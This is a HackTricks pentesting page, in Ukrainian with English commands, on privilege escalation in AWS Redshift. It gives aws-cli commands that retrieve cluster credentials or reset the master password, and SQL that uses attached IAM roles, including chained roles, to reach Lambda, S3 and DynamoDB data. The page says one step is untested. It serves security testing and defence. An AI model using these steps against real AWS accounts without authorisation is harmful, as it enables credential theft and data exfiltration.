AWS - Redshift Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Redshift

Для отримання додаткової інформації про RDS перегляньте:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

З цими дозволами ви можете отримати інформацію про всі кластери (включаючи назву та ім'я користувача кластера) та отримати облікові дані для доступу до нього:

bash
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Потенційний вплив: Знайти чутливу інформацію в базах даних.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

З цими дозволами ви можете отримати інформацію про всі кластери та отримати облікові дані для доступу до них.
Зверніть увагу, що користувач postgres матиме дозволи, які має IAM-ідентичність, використана для отримання облікових даних.

bash
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Потенційний вплив: Знайти чутливу інформацію в базах даних.

redshift:DescribeClusters, redshift:ModifyCluster?

Можливо змінити майстер-пароль внутрішнього користувача postgres (redshift) з aws cli (я думаю, що це ті дозволи, які вам потрібні, але я ще не тестував їх):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Потенційний вплив: Знайти чутливу інформацію в базах даних.

Доступ до зовнішніх сервісів

warning

Щоб отримати доступ до всіх наступних ресурсів, вам потрібно вказати роль для використання. Кластер Redshift може мати призначений список ролей AWS, які ви можете використовувати якщо знаєте ARN, або ви можете просто встановити "default", щоб використовувати призначену за замовчуванням.

Більше того, як пояснено тут, Redshift також дозволяє конкатенувати ролі (якщо перша може прийняти другу), щоб отримати подальший доступ, просто розділяючи їх комою: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Лямбди

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, можливо викликати функцію лямбда з redshift з чимось на зразок:

sql
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, можливо читати та записувати в S3 бакети:

sql
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, можливо отримати дані з dynamodb:

sql
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

warning

Таблиця Amazon DynamoDB, яка надає дані, повинна бути створена в тому ж регіоні AWS, що й ваш кластер, якщо ви не використовуєте опцію REGION для вказівки регіону AWS, в якому розташована таблиця Amazon DynamoDB.

EMR

Перевірте https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks